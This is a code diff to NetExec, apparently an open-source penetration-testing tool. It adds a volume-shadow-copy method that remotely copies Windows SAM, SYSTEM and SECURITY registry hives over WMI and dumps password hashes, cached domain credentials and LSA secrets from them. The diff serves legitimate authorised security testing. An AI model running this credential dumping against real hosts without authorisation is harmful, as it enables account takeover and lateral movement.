diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 3507e48ec8..5f650a9055 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -14,6 +14,7 @@ SAMHashes, LSASecrets, NTDSHashes, + LocalOperations, ) from impacket.examples.regsecrets import ( RemoteOperations as RegSecretsRemoteOperations, @@ -55,6 +56,7 @@ from nxc.protocols.smb.samrfunc import SamrFunc from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB from nxc.helpers.logger import highlight +from nxc.paths import TMP_PATH from nxc.helpers.bloodhound import add_user_bh from nxc.helpers.powershell import create_ps_command from nxc.helpers.misc import detect_if_ip @@ -1950,7 +1952,6 @@ def enable_remoteops(self, regsecret=False): @requires_admin def sam(self): try: - self.enable_remoteops(regsecret=(self.args.sam == "regdump")) host_id = self.db.get_hosts(filter_term=self.host)[0][0] def add_sam_hash(sam_hash, host_id): @@ -1967,35 +1968,56 @@ def add_sam_hash(sam_hash, host_id): add_sam_hash.sam_hashes = 0 - if self.remote_ops and self.bootkey: - if self.args.sam == "regdump": - SAM = RegSecretsSAMHashes( - self.bootkey, - remoteOps=self.remote_ops, - perSecretCallback=lambda secret: add_sam_hash(secret, host_id), - ) - else: - SAM_file_name = self.remote_ops.saveSAM() - SAM = SAMHashes( - SAM_file_name, - self.bootkey, - isRemote=True, - perSecretCallback=lambda secret: add_sam_hash(secret, host_id), - ) + SAM = None + + if self.args.sam == "vss": + self.logger.display("Dumping SAM hashes via VSS shadow copy") + try: + remote_ops = RemoteOperations(self.conn, self.kerberos, self.kdcHost) + sam_path, system_path, security_path = remote_ops.createSSandDownloadWMI("C:\\", TMP_PATH) + + local_ops = LocalOperations(system_path) + bootkey = local_ops.getBootKey() - self.logger.display("Dumping SAM hashes") + SAM = SAMHashes(sam_path, bootkey, isRemote=False, perSecretCallback=lambda secret: add_sam_hash(secret, host_id)) + except Exception as e: + self.logger.fail(f"VSS dump failed: {e}") + else: + self.enable_remoteops(regsecret=(self.args.sam == "regdump")) + + if self.remote_ops and self.bootkey: + self.logger.display("Dumping SAM hashes") + if self.args.sam == "regdump": + SAM = RegSecretsSAMHashes( + self.bootkey, + remoteOps=self.remote_ops, + perSecretCallback=lambda secret: add_sam_hash(secret, host_id), + ) + else: + SAM_file_name = self.remote_ops.saveSAM() + SAM = SAMHashes( + SAM_file_name, + self.bootkey, + isRemote=True, + perSecretCallback=lambda secret: add_sam_hash(secret, host_id), + ) + + if SAM: self.output_filename = self.output_file_template.format(output_folder="sam") SAM.dump() SAM.export(self.output_filename) self.logger.success(f"Added {highlight(add_sam_hash.sam_hashes)} SAM hashes to the database") - try: - self.remote_ops.finish() - except Exception as e: - self.logger.debug(f"Error calling remote_ops.finish(): {e}") - - if self.args.sam == "secdump": + if self.args.sam == "vss": SAM.finish() + else: + try: + self.remote_ops.finish() + except Exception as e: + self.logger.debug(f"Error calling remote_ops.finish(): {e}") + + if self.args.sam == "secdump": + SAM.finish() except SessionError as e: if "STATUS_ACCESS_DENIED" in e.getErrorString(): self.logger.fail('Error "STATUS_ACCESS_DENIED" while dumping SAM. This is likely due to an endpoint protection.') @@ -2253,8 +2275,6 @@ def list_snapshots(self): @requires_admin def lsa(self): try: - self.enable_remoteops(regsecret=(self.args.lsa == "regdump")) - def add_lsa_secret(secret): add_lsa_secret.secrets += 1 self.logger.highlight(secret) @@ -2271,35 +2291,58 @@ def add_lsa_secret(secret): add_lsa_secret.secrets = 0 - if self.remote_ops and self.bootkey: - if self.args.lsa == "regdump": - LSA = RegSecretsLSASecrets( - self.bootkey, - self.remote_ops, - perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret), - ) - else: - SECURITYFileName = self.remote_ops.saveSECURITY() - LSA = LSASecrets( - SECURITYFileName, - self.bootkey, - self.remote_ops, - isRemote=True, - perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret), - ) - self.logger.display("Dumping LSA secrets") + LSA = None + + if self.args.lsa == "vss": + self.logger.display("Dumping LSA secrets via VSS shadow copy") + try: + remote_ops = RemoteOperations(self.conn, self.kerberos, self.kdcHost) + sam_path, system_path, security_path = remote_ops.createSSandDownloadWMI("C:\\", TMP_PATH) + + local_ops = LocalOperations(system_path) + bootkey = local_ops.getBootKey() + + LSA = LSASecrets(security_path, bootkey, remote_ops, isRemote=False, perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret)) + except Exception as e: + self.logger.fail(f"VSS dump failed: {e}") + else: + self.enable_remoteops(regsecret=(self.args.lsa == "regdump")) + + if self.remote_ops and self.bootkey: + self.logger.display("Dumping LSA secrets") + if self.args.lsa == "regdump": + LSA = RegSecretsLSASecrets( + self.bootkey, + self.remote_ops, + perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret), + ) + else: + SECURITYFileName = self.remote_ops.saveSECURITY() + LSA = LSASecrets( + SECURITYFileName, + self.bootkey, + self.remote_ops, + isRemote=True, + perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret), + ) + + if LSA: self.output_filename = self.output_file_template.format(output_folder="lsa") LSA.dumpCachedHashes() LSA.exportCached(self.output_filename) LSA.dumpSecrets() LSA.exportSecrets(self.output_filename) self.logger.success(f"Dumped {highlight(add_lsa_secret.secrets)} LSA secrets to {self.output_filename + '.secrets'} and {self.output_filename + '.cached'}") - try: - self.remote_ops.finish() - except Exception as e: - self.logger.debug(f"Error calling remote_ops.finish(): {e}") - if self.args.lsa == "secdump": + + if self.args.lsa == "vss": LSA.finish() + else: + try: + self.remote_ops.finish() + except Exception as e: + self.logger.debug(f"Error calling remote_ops.finish(): {e}") + if self.args.lsa == "secdump": + LSA.finish() except SessionError as e: if "STATUS_ACCESS_DENIED" in e.getErrorString(): self.logger.fail('Error "STATUS_ACCESS_DENIED" while dumping LSA. This is likely due to an endpoint protection.') diff --git a/nxc/protocols/smb/proto_args.py b/nxc/protocols/smb/proto_args.py index cde7dcd574..043d38afbc 100644 --- a/nxc/protocols/smb/proto_args.py +++ b/nxc/protocols/smb/proto_args.py @@ -31,8 +31,8 @@ def proto_args(parser, parents): delegate_spn_arg.make_required = [delegate_arg] cred_gathering_group = smb_parser.add_argument_group("Credential Gathering") - cred_gathering_group.add_argument("--sam", choices={"regdump", "secdump"}, nargs="?", const="regdump", help="dump SAM hashes from target systems") - cred_gathering_group.add_argument("--lsa", choices={"regdump", "secdump"}, nargs="?", const="regdump", help="dump LSA secrets from target systems") + cred_gathering_group.add_argument("--sam", choices={"regdump", "secdump", "vss"}, nargs="?", const="regdump", help="dump SAM hashes from target systems using the specifed method (default: %(const)s)") + cred_gathering_group.add_argument("--lsa", choices={"regdump", "secdump", "vss"}, nargs="?", const="regdump", help="dump LSA secrets from target systems using the specifed method (default: %(const)s)") ntds_arg = cred_gathering_group.add_argument("--ntds", choices={"vss", "drsuapi"}, nargs="?", const="drsuapi", help="dump the NTDS.dit from target DCs using the specifed method") # NTDS options kerb_keys_arg = cred_gathering_group.add_argument("--kerberos-keys", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Also dump Kerberos AES and DES keys from target DC (NTDS.dit)")